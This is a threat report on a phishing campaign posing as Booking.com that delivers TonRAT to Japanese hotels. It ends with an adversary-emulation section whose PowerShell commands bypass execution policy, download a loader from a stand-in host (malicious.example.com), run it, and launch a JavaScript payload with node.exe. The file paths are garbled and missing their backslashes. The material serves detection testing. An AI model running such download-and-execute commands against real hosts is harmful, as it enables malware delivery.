Analysis of Suspicious Emails Targeting the Hotel Industry

Summary

A phishing campaign posing as Booking.com targeted hotel operators in Japan through infrastructure hosted on Calendly and SendGrid. The email included a shortened link that led to a ZIP archive containing a malicious LNK shortcut, which then launched a PowerShell-based loader. That loader retrieved additional PowerShell scripts, decrypted a JavaScript payload identified as TonRAT, downloaded Node.js, and executed the RAT. The malware then established command-and-control through a WebSocket endpoint obtained via the TON API.

Investigation

The report outlines the email header analysis, the abuse of legitimate delivery services, and the full multi-stage execution chain used in the attack. It provides file hashes for the ZIP archive and its internal components and lists the command-and-control domains observed during analysis. The investigation also includes technical details on the malicious LNK file and the PowerShell commands used to progress the infection.

Mitigation

Defenders should block suspicious Calendly short links, verify sender domains carefully, and restrict execution of LNK attachments delivered through email. Monitoring should also focus on unauthorized PowerShell activity and unexpected Node.js binaries appearing on endpoints. URL filtering can help block access to the known malicious domains involved in the campaign.

Response

Security teams should create detections for PowerShell commands that download content from the identified command-and-control domains and for execution of node.exe from unusual locations. Alerts should also be configured for email flows using SendGrid headers from untrusted or unexpected sources. Investigators should collect dropped files and preserve network traffic associated with the observed WebSocket communications.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Initial Access – PowerShell Download
     The attacker obtains a PowerShell remote session on the compromised host and uses Invoke-WebRequest to pull the TonRAT loader script from a malicious C2 server. This step satisfies the Invoke-WebRequest string match.

     powershell -NoProfile -ExecutionPolicy Bypass -Command ^
       "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"

  2. Execution of the Loader
     The downloaded script is executed, which in turn spawns a second PowerShell process to run additional commands (still containing the literal “PowerShell”).

     powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1

  3. Node.js Payload Execution
     TonRAT drops a malicious JavaScript file (malicious.js) and launches it with the Node.js runtime (node.exe). This generates the node.exe string match.

     # Assume the script already placed malicious.js in C:Temp
     C:Program Filesnodejsnode.exe C:Tempmalicious.js

  The three process creations (PowerShell with Invoke-WebRequest, PowerShell executing the loader, and node.exe) collectively satisfy the detection rule’s condition.

• Regression Test Script:

  #-------------------------------------------------
  # TonRAT Deployment Simulation – triggers Sigma rule
  #-------------------------------------------------
  $tempDir = "$env:TEMPtonrat_demo"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  
  # 1. Download fake loader (simulated with a simple echo)
  $loaderUrl = "http://malicious.example.com/tonrat.ps1"
  $loaderPath = "$tempDirtonrat.ps1"
  Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
  
  # 2. Execute the loader (the loader just creates a dummy js file)
  powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
  
  # 3. Create a dummy JavaScript payload
  $jsPath = "C:Tempmalicious.js"
  Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
  
  # 4. Run the payload with Node.js
  $nodePath = "C:Program Filesnodejsnode.exe"
  & $nodePath $jsPath
  #-------------------------------------------------

• Cleanup Commands:

  # Remove all artifacts created by the simulation
  Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
  Remove-Item -Path "C:Tempmalicious.js" -Force
  # Optionally kill any lingering PowerShell/Node processes (if needed)
  Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force